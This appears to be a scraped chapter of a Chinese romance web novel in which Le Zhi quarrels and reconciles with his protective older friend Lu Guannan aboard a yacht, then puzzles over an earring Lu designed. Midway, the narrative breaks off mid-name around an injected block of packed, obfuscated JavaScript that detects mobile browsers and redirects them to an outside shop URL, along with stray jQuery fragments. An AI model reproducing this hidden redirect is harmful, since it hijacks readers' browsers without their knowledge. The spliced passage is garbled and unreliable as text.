7. 第 7 章

作品:《跟爹系竹马表白被拒后

    话音落下的一瞬间。


    海风都好似抖了三抖,灰溜溜从三人中间穿过。


    陆观南眉目不动,阳光直直射下,高挺的眉骨在眼窝处拓下一片阴影,眼瞳嵌在其中,冷冷垂睫。


    “芝芝,什么意思。”


    他很耐心地开口询问。


    晏枝雨听完却一扬眉,悄悄把两张门卡塞进乐之的手心,笑眯眯拽上身后的大狗迅速离开战场。


    乐之下意识把卡接过,心顿时停了秒,回头,恨不得朝两个逃之夭夭的背影嘶喊——


    “真没义气!!!”


    “——芝芝,看着我。”


    乐之气得磨磨牙,还没把内心的呐喊成真,脸蛋就被捏着下颌转了回去,冷不丁和那双没什么情绪的浅色眼瞳对视,心重重跳了下。


    陆观南垂眸,目光渐渐从少年生动漂亮的眉眼滑落,落到那张因慌乱而紧抿的唇瓣上。


    粉色的,软软的,像颗甜蜜的果冻。


    “回答我的问题。”


    凶什么凶。


    乐之拧起眉头,头一歪,把自己的脸从男人手上拔走,没好气道:“不一起睡就不一起睡嘛,哪来这么多为什么,哥哥你管得真多。”


    说实在的,还是有一丢丢心虚。


    乐之像只明知故犯的猫儿似的撇开脸,眼珠子却贼兮兮地偏回去,偷瞥男人的反应。


    “管得多。”


    闻言,陆观南把这话在舌尖又品了一遍,忽而笑了笑,神色温和,深情的桃花眼不明显地弯起。


    男人好心提醒:“小时候,我要写作业暂时没空管你,你在房门口又哭又闹,说哥哥不要你不管你,你要离家出走。”


    低沉磁性的声音放得很轻,语速慢慢,混杂着咸味的海风,无端溢出股诡异的温柔。


    陆观南低眼看向被攥在手心的门卡,淡淡补充完这个故事:“最后,是哥哥答应对芝芝的任何事都要亲力亲为,芝芝才不哭的。”


    在光线下近似半透明的眼看过去,把乐之盯得心尖一抽。


    “现在却说哥哥管得多了。”


    男人的声线没什么起伏,淡而沉,像是单纯回忆一下往事而已。


    落进乐之的耳朵里,却怎么听怎么觉得别扭。


    …啊啊啊这老男人不会在装可怜吧!


    乐之噘噘嘴,指腹搓着衣摆,毛毛虫似的左右摆摆身子,半天才吭哧吭哧憋出一句:“那,那你都说是小时候了嘛。”


    顶着男人审视的目光,乐之硬着头皮说,声音低低的,轻如蚊呐。


    “长大了……想独立试试,不是很正常吗?”


    哦买嘎他真是豁出去了。


    乐之在心底感叹。


    其实来码头前他还没动过这个念头的,是刚刚在船下看见陆观南无动于衷低头玩手机的样子,又想起那件大胆骚包的泳衣,气不打一处来,冲动行事了。


    这会儿冲头的勇气散去,乐之心里还有点打鼓。


    硬是扯出条“道德绑架”的理由应付过去。


    也不知道能不能蒙混过……


    “是,芝芝长大了。”


    忽然,沉默许久的陆观南轻飘飘的出声。


    乐之愣了秒,懵懵抬头,陡然撞进一双无波无澜的浅色眼眸里,被那里头酝酿着的沉沉愠色吓得心惊。


    他想说些什么,犹豫间,旁边横插一个人打断了他的准备:“哎,陆总……”


    陆观南侧过脸去,唇张合几下,声音很低,看起来应该是在和合作伙伴谈生意什么的。


    乐之站在原地,捏了捏衣角,不太高兴地瘪瘪嘴。


    ……都出来玩了谈什么工作嘛。


    真没眼力见,乐之低头盯着自己的脚尖,烦烦地踢来踢去。


    咸腥的海风悠悠划过鼻尖,隐约还飘着些细碎的沙粒,海浪浮起,推开波光粼粼的涟漪,映射得很刺眼睛。


    再抬眼望去,就看见陆观南和合作伙伴一齐转身,往另一边走去,前者还回头瞥了自己一眼,又淡然地收回视线。


    乐之:“?”干嘛。


    看什么看,一直在挑衅!


    这种谈话谈到半截就不了了之的感觉格外心堵,乐之越想越气,“哼!”地一下,又踹一脚无辜的甲板。


    少年兔子似的噔噔几下也跑掉,趴在船舷边,下巴抵在交叠的胳膊上,清亮的黑瞳倒映出灿烂碧蓝的海面,流动隐隐的不满。


    哼,臭陆观南。


    现在哄人都不会了是吧,万一稍微哄几句,自己就答应一起睡了呢!


    乐之像个小幽灵似的趴在阴影下,散发怨气,和周遭热闹的玩笑声格格不入。


    什么骚包泳衣,他今晚就让秋秋一把撕烂!


    有人就是这么没眼福!


    乐之很正义地下了判决。


    忽然,右肩被人戳了几下。


    他“嗖!”一下转头,却没见到人影,正当他寻思谁那么不长眼来跟自己开玩笑时,左肩又被戳了戳。


    乐之恼:“谁——”


    话音突然戛然而止。


    一小块奶油蛋糕被塞进口腔,甜甜的香气弥漫,乐之没忍住咽了下去,很响亮的一声“咕咚”。


    他脸蛋一红,睫毛都在羞恼,凶巴巴地抬起眼睫,“干嘛,不是去谈工作了嘛。”


    声音软绵绵的,一点儿凶狠都没有。


    陆观南听着笑了笑,心里被猫爪挠了挠似的,擦了擦他唇边的奶油,语气温和:“没有。”


    “答应你出来玩的,是给你找赔罪的去了。”


    男人英挺深邃的眉眼静静低垂,浅眸里被洒进耀眼的阳光,飘荡着蓝色的海浪,显得几分温柔。


    就好像前几分钟的阴沉只是错觉。


    陆观南从乐之的手心里抽出一张房卡,放到口袋里,说:“刚才是我不好,有点凶,对不起芝芝。”


    “最近发生了点事,情绪不太好,我的问题。”


    男人捉起乐之细白的手腕,脸一侧,贴近温暖柔软的手心,眉眼浮起很淡的笑意,说:“还有下次,芝芝可以跟以前一样直接打醒我就好。”


    乐之脸腾地更烫了,把自己的手给抢回来,小小声反驳:“我才没有那么坏呢,在你心里我都成什么了……”


    他又顿了顿,眉间蹙起,明亮的杏眼冒出一点担心,抬头问:“出什么事了,是公司的事吗?”


    不会真要破产没钱了吧?


    乐之严肃地计划起怎么迅速接管乐氏,哥哥没钱自己兜里还有点,可以养得起的!


    陆观南揉了把毛茸茸的卷发,一眼就看穿这只不会表情管理的兔子在想什么,“私事,别想些有的没的。”


    “想花完哥哥的钱还是有点难度的。”


    “噢,”乐之被戳穿了也不尴尬,乖乖往男人怀里蹭去,仰起小脸,甜甜一笑,酒窝在白软的脸颊肉上轻轻凹陷。


    “哥哥哥哥,不说这个了,你陪我去逛逛呗~”


    从小就是这样。


    知道自己闹太过了就开始卖乖撒娇,企图萌混过关。


    陆观南“嗯”了声,宽大的掌心拢住乐之清瘦的肩膀,他微微低着头,白净的后脖颈线条流畅,晒在太阳下,仿佛能看见细密的小绒毛,皮肤奶油般细腻。


    男人移开视线,“走吧。”


    不过他的确吃这套。


    …


    甲板上少爷小姐们在BBQ烧烤,滋滋的烤肉声和香气弥漫,另一边是水吧,身着燕尾服的调酒师手中摇酒壶晃动,动作帅气,引得女孩们笑着叫唤。


    游艇中下层有私人影院和按摩区,甚至还有专门的游戏区、健身区一类。


    不过乐之没什么兴趣,光在甲板上看风景,身上米白色的亚麻衬衫被海风吹得鼓起,露出一截细窄的莹白腰身,发丝晕出温暖的光色。


    柔软卷翘的发丝被吹拂,小巧的耳垂暴露在阳光里,小雏菊耳钉瞬间绽放出璀璨的金色,缀着点点钻石的碎光。


    张扬又明媚。


    晏枝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535361|203795||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    雨招呼完客人,转身就见乐之一个人呆在甲板末尾发呆,目光顿时被耳钉吸引,几步走过去。


    “怎么,陆总不陪你?”


    轻飘飘的,尾音自然带着点小钩子的声音响起,乐之回过头去,笑着抿起酒窝:“晏哥。”


    晏枝雨走到他身边,听见他说:“有人找他好像有什么事要说,我批准他暂时不用陪我啦。”


    “我们小乐之真乖。”


    晏枝雨笑笑,视线不受控落在那枚耳钉上,顿了片刻问道:“耳钉挺好看,是什么牌子的?”


    乐之眼神亮了亮,嘴角抿起又放下,终究还是抑制不住扩大的笑意,语气有点小骄傲。


    “外面买不到呢,是哥哥亲自设计的。”


    他露出小虎牙,笑得杏眼弯弯,“仅此一份!”


    晏枝雨:“这么有意义的礼物,是在你十八岁生日的时候送的吗?”


    “不是,就是很普通的日子。”乐之摇摇头。


    闻言,晏枝雨挑起细长的眉,语气散漫,“这样,我还以为陆总这种日理万机的人,会选择亲自设计打造,是为了小乐之的成年礼呢。”


    叮——


    心音倏然敲响脑内的警钟,乐之话哽在喉咙里,脸上的笑意卡顿,些许茫然取而代之。


    对啊,很奇怪啊。


    虽然陆观南的确有事没事买些小岛、私人飞机、漂亮珠宝什么的哄自己开心,可那都是用钱买的啊,又不费事,就点点支付的功夫。


    而且,这是陆观南第一次亲手设计礼物给自己。


    那个重视仪式感的老男人,为什么会选择一个平平无奇的日子?


    晏枝雨见小家伙忽然沉默,小脸满是疑惑和迷茫,小声“哎呀”一句,明白自己好像问了什么不该问的东西。


    直到晚上,乐之也没想明白这个问题。


    他远望高悬夜空的弯月,晃了晃脑袋,决定先不去想这件事了,说不定就是陆观南心血来潮呢。


    夜色深深,甲板上的少爷小姐们结束游戏,高高兴兴打算跑下层去唱k。


    乐之没什么兴趣,打发走冷脸但实则十分不情愿的哥哥大人,转身冷酷走进自己的房间,一个多余的眼神也不赏赐。


    陆观南伫立原地,目送门“啪”一下关上后,眼睫垂了垂,若有所思,瞳仁划过一丝微妙的光。


    游艇的房间很大,还带有独立阳台供看海景,阳台放着一个圆形的吊椅,在风中摇摇晃晃,床侧边是超大卫浴。


    近一小时后,乐之洗完澡,睡意也跟着没了,索性跑到阳台晃吊椅去。


    夜晚海面出奇的平静,柔和的月光粼粼,耳畔空旷安静,只有清浅的流水声,和时不时划过天空的鸟叫声。


    乐之呆呆靠着椅背,眼神发空。


    手指不自觉摸上耳垂,指腹抚过雏菊耳钉的纹路,思绪渐渐发散。


    果然还是很在意。


    乐之眉头紧蹙,甚至顾不上明天就要实施计划的兴奋,嘴唇被白牙轻咬,挤出一点唇肉。


    当初他就有点奇怪,不过实在是开心过头,完全把那丢丢疑惑抛在脑后,只顾抱着陆观南亲亲撒娇了。


    唉,美色误人啊!


    小皇帝乐之深沉地思考完,突然“啊啾!”一声,裸露在外的胳膊密密钻出一片细小的鸡皮疙瘩。


    虽然是夏日,但海夜还是有点冷。


    不行,感冒就没办法下海,下海就没办法穿骚包泳衣试探陆观南了!


    No!他的大好身材!


    乐之“嗖!”一下起身,谨慎行事,利落钻回房,反手关上阳台的玻璃门。


    “——咔哒。”


    几乎是同一时间,前头倏然响起微弱的开门声。


    乐之下意识抬头,正正撞进一双在黑暗里尤为显眼的浅色眼瞳中。


    陆观南:“……”


    乐之:“…………………………”


    良久,乐之无语道:“哥哥。”


    “你干嘛。”